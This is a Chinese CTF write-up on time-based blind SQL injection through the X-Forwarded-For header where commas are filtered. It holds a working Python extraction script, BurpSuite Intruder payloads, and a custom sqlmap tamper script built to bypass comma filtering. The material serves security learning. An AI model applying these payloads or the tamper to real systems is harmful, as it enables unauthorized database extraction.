1. 程式人生 > >實驗吧CTF-Who are you?

實驗吧CTF-Who are you?

Who are you

題目:

我要把攻擊我的人都記錄db中去!

格式ctf{}

解題:

訪問連結,頁面顯示your IP is XX.XX.XX.XX,知道這是一個關於IP偽造。

嘗試各種偽造IP的HTTP頭:

X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr

發現X-Forwarded-For可以偽造。


sp160830_162630.png

題目說:

我要把攻擊我的人都記錄db中去!

可以猜測這是一個INSERT INTO的注入。

嘗試各種注入,發現注入的語句給原封不動地顯示在頁面中,但,如果注入的語句有逗號,則後面的內容就不會顯示在頁面中。


sp160830_162812.png

所以,猜測逗號後面的內容給截掉了。

入了一個坑,導致想不到怎麼注入:

一直覺得後臺程式的邏輯是這樣的:取X-Forwarded-For的內容,去掉逗號後的內容,再拼接INSERT INTO的SQL語句,寫到資料庫中,再用SELECT語句從資料庫取出(那程式怎麼確定現在取回的值就是剛剛插入的值呢?顯然這不能保證。),顯示在頁面中。

入了這個坑,就覺得注入的語句沒有逃脫單引號的包圍,注入的X-Forwarded-For內容被原封不動地寫進了資料庫中。

看了Writeup之後才知道這是time-based盲注。

所以想後臺程式的邏輯差不多是這樣:取X-Forwarded-For的值,去掉逗號後的內容,剩下的存在一個變數裡,假設變數名是tmp,然後再拼接到INSERT INTO語句中,執行SQL語句。最後再把tmp的內容顯示在頁面中。

後臺程式碼可能是這樣:

<?php
error_reporting(0);

function getIp(){
    $ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
      $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
     $ip = $_SERVER['REMOTE_ADDR'];
}
   $ip_arr = explode(',', $ip);
   return $ip_arr[0];
}

$host="localhost";
$user="root";
$pass="root"
; $db="sangebaimao"; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; mysql_query($sql); ?>

所以這不能利用真值注入,報錯注入等,只能嘗試基於時間的注入。

入了坑,要懂得跳出來。 當設想的程式邏輯跟試驗結果不符合,就要嘗試另外的設想、思路。

做這道題,用三種方法:

  1. 用Python指令碼跑。

  2. 利用BurpSuite進行基於時間的盲注。

  3. 自己寫tamper來使用sqlmap繞過 服務端對逗號的過濾 進行time-based注入(修改queries.xml這個方法不行)

0x01 用Python指令碼跑

事先確定了flag儲存在flag表的flag字元裡,且flag的長度為32,

一個簡陋的指令碼:

#-*-coding:utf-8-*-
import requests
import string
url="http://xxx"
guess=string.lowercase + string.uppercase + string.digits
flag=""

for i in range(1,33):
   for str in guess:
     headers={"x-forwarded-for":"xx'+"+"(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1" %(i,str)}
     try: 
         res=requests.get(url,headers=headers,timeout=4)
     except requests.exceptions.ReadTimeout, e:
         flag = flag + str
         print "flag:", flag
         break

print 'result:' + flag

0x02 利用BurpSuite進行基於時間的盲注

下面是幾個要點:

1.設定代理

每次開BurpSuite這個工具都要設定代理,這是很麻煩的。通常使用瀏覽器的設定選項設定代理會比較方便點。

如在Chrome瀏覽器設定代理:


sp160830_162927.png

更方便的方法是,使用外掛。如在Chrome瀏覽器中使用SwitchyOmega外掛來切換代理。這裡就不說SwitchyOmega的使用了。

2.BurpSuite如何判斷是否超時

首先有個問題,我們如何在BurpSuite得知後臺因為SQL的執行而有延遲產生。這需要一點設定。

Options->Connections->Tiimeouts->Normal這一空 改成你想要的超時時間(預設為120秒)。


sp160830_163055.png

在進行Intruder攻擊時,如果連線超時,則狀態碼和length一欄為空。由此可以判斷連線是否超時。

需要注意的是:在開始Intruder攻擊前,需要把Intruder->Options->Request Engine->Number of threads的執行緒數改成1,否則將導致前一個請求的延時造成後一個請求延時,這就使判斷不正確了。

3.使用BurpSuite進行HTTP頭注入需要注意什麼

  1. 在Proxy->Intercept->Raw修改資料包內容時:當這個請求沒有POST引數,要求最後空兩行,否則資料包將傳送不成功;當這個請求有POST引數,要求headers與POST引數之間空一行。

sp160830_163341.png

建議在Proxy->Intercept->headers一欄裡修改請求包的Headers。

  1. 在開始Intruder攻擊前,Intruder->Payloads->Payload Encoding的URL-encode these characters的勾要去掉,即不讓BurpSuite對payload進行URL編碼。

4.BurpSuite Intruder的Attack Type

本次time-based注入需要選擇Cluster bome這個Attack Type

下面是具體的攻擊步驟:

先設定Burpsuite的Timeout為4秒:


sp160830_163055.png

抓取資料包,併發送到Repeater。

事先驗證flag記錄的長度,用以下語句來注入:

1' and (select case when (select length(flag) from flag limit 1)=32 then sleep(5) else 1 end) and '1'='1

sp160830_164924.png

當點選Repeter的Go按鈕,等待了約五秒,Go按鈕從不可按狀態轉為可按狀態,cancel按鈕從可按狀態轉為不可按狀態,Reponse沒有任何返回,且Burpsuite 的Alerts模組裡新增一個Timeout的提示。就表明後臺延時了5秒。

這就可以確定其長度為32了。

把資料包傳送到Intruder。

構造注入語句:

1' and (select case when (select ord(substring(flag from 1 for 1)) from flag limit 1) = 2 then sleep(5) else 1 end) and '1'='1

其中,表名flag和欄位名flag存在可以由以下注入語句來確認:

1' and exists(select flag from flag) and sleep(5) and '1' = '1

在兩處位置add $,並設定Attack Type為Cluster bomb:


sp160830_164225.png

設定Payload1:


sp160830_165854.png

設定Payload2:


sp160830_170045.png

把Payload1和Payload2的URL-encode取消掉:


sp160830_170318.png

設定執行緒數為1:


sp160830_170129.png

萬事具備,開始攻擊。Inturder->Start Attack


sp160830_170706.png

像這些,Status一欄跟Length一欄為空的請求就是超時的。

利用這些就可以得到flag的ASCII值,再轉碼就得到flag!

0x03 使用sqlmap繞過 服務端對逗號的過濾

1.使用sqlmap進行HTTP頭注入

首先,得知道怎麼用sqlmap進行HTTP頭注入。

方法:

利用-r 引數指定儲存著資料包的檔案,並用*號來告訴sqlmap哪裡是注入點。

這道題的資料包內容是:

GET /web/wonderkun/index.php HTTP/1.1
Host: ctf5.shiyanbar.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
X-Forwarded-For: 1*
Referer: http://www.shiyanbar.com/ctf/1941
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8

另外,User-Agent、Cookie、Referer的值中可能有*號,這會讓sqlmap去測試這些我們不需要測試的地方,這時,可以使用--skip SKIP引數來指示哪裡不需要被測試,如:

--skip="user-agent,referer"

2.嘗試修改queries檔案(不可行)

檔案是在sqlmap/xml目錄下的queries.xml

可以說這個檔案儲存著sqlmap構造SQL語句的模板,其部分內容如下:

<root>
    <!-- MySQL -->
    <dbms value="MySQL">
        <cast query="CAST(%s AS CHAR)"/>
        <length query="CHAR_LENGTH(%s)"/>
        <isnull query="IFNULL(%s,' ')"/>
        <delimiter query=","/>
        <limit query="LIMIT %d,%d"/>
        <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
        <limitgroupstart query="1"/>
        <limitgroupstop query="2"/>
        <limitstring query=" LIMIT "/>
        <order query="ORDER BY %s ASC"/>
        <count query="COUNT(%s)"/>
        <comment query="-- " query2="/*" query3="#"/>
        <substring query="MID((%s),%d,%d)"/>
        <concatenate query="CONCAT(%s,%s)"/>
        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
        <hex query="HEX(%s)"/>
        <inference query="ORD(MID((%s),%d,1))>%d"/>
        <banner query="VERSION()"/>
        <current_user query="CURRENT_USER()"/>
        <current_db query="DATABASE()"/>
        <hostname query="@@HOSTNAME"/>
 ...

我們可以修改<isnull query="IFNULL(%s,' ')"/>一項為<isnull query="(SELECT %s)"> ,這就避免了使用逗號,還有<inference query="ORD(MID((%s),%d,1))>%d"/>可以改為<inference query="ORD(MID((%s) from %d for 1))>%d"/>,諸如此,等等。

不過,為什麼這個方法繞不過伺服器對逗號的過濾呢?因為sqlmap要使用IF函式,這個函式中有逗號,而且,queries檔案裡不可以針對IF函式來修改。

3.自己寫tamper

參考下sqlmap/tamper/目錄下的檔案,就可以自己寫出簡單的tamper。

寫tamper的思路也很簡單:把sqlmap會用到逗號的語句用其他不含有逗號的語句替代。

自己寫了一個很簡陋的tamper,名為commalessmysql.py,放在sqlmap/tamper目錄下。(這個指令碼只適用MySQL):

#!/usr/bin/env python

"""
Writed by Ovie 2016-12-05

"""
import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces some instances with something whthout comma 

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0


    >>> tamper('ISNULL(TIMESTAMPADD(MINUTE,7061,NULL))')
    'ISNULL(NULL)'

    >>> tamper('MID(VERSION(), 2, 1)')
    'MID(VERSION() FROM 2 FOR 1)'

    >>> tamper('IF(26=26,0,5)')
    'CASE WHEN 26=26 THEN 0 ELSE 5 END'

    >>> tamper('IFNULL(NULL,0x20)')
    'CASE WHEN NULL=NULL THEN 0x20 ELSE NULL END'

    >>> tamper('LIMIT 2, 3')
    'LIMIT 3 OFFSET 2'
    """


    def commalessif(payload):
        if payload and payload.find("IF") > -1:
            while payload.find("IF(") > -1:
                index = payload.find("IF(")
                depth = 1
                comma1, comma2, end = None, None, None

                for i in xrange(index + len("IF("), len(payload)):
                    if depth == 1 and payload[i] == ',' and not comma1:
                        comma1 = i

                    elif depth == 1 and payload[i] == ',' and comma1:
                        comma2 = i

                    elif depth == 1 and payload[i] == ')':
                        end = i
                        break

                    elif payload[i] == '(':
                        depth += 1

                    elif payload[i] == ')':
                        depth -= 1

                if comma1 and comma2 and end:
                    _ = payload[index + len("IF("):comma1]
                    __ = payload[comma1 + 1:comma2]
                    ___ = payload[comma2 + 1:end]
                    newVal = "CASE WHEN %s THEN %s ELSE %s END" % (_, __, ___)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break

        return payload

    def commalessifnull(payload):
        if payload and payload.find("IFNULL") > -1:
            while payload.find("IFNULL(") > -1:
                index = payload.find("IFNULL(")
                depth = 1
                comma, end = None, None

                for i in xrange(index + len("IFNULL("), len(payload)):
                    if depth == 1 and payload[i] == ',':
                        comma = i

                    elif depth == 1 and payload[i] == ')':
                        end = i
                        break

                    elif payload[i] == '(':
                        depth += 1

                    elif payload[i] == ')':
                        depth -= 1

                if comma and end:
                    _ = payload[index + len("IFNULL("):comma]
                    __ = payload[comma + 1:end].lstrip()
                    newVal = "CASE WHEN %s=NULL THEN %s ELSE %s END" % (_, __, _)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break

        return payload

    retVal = payload

    if payload:
        retVal = re.sub(r'(?i)TIMESTAMPADD\(\w+,\d+,NULL\)', 'NULL', retVal)
        retVal = re.sub(r'(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)', 'MID(\g<1> FROM \g<2> FOR \g<3>)', retVal)
        retVal = commalessif(retVal)
        retVal = commalessifnull(retVal)
        retVal = re.sub(r'(?i)LIMIT\s*(\d+),\s*(\d+)', 'LIMIT \g<2> OFFSET \g<1>', retVal)

    return retVal

執行sqlmap:

sqlmap.py -r post.txt --level=3 --skip="user-agent,referer" -v 3 --tamper=commalessmysql -D web4 -T flag -C flag --dump

得到flag。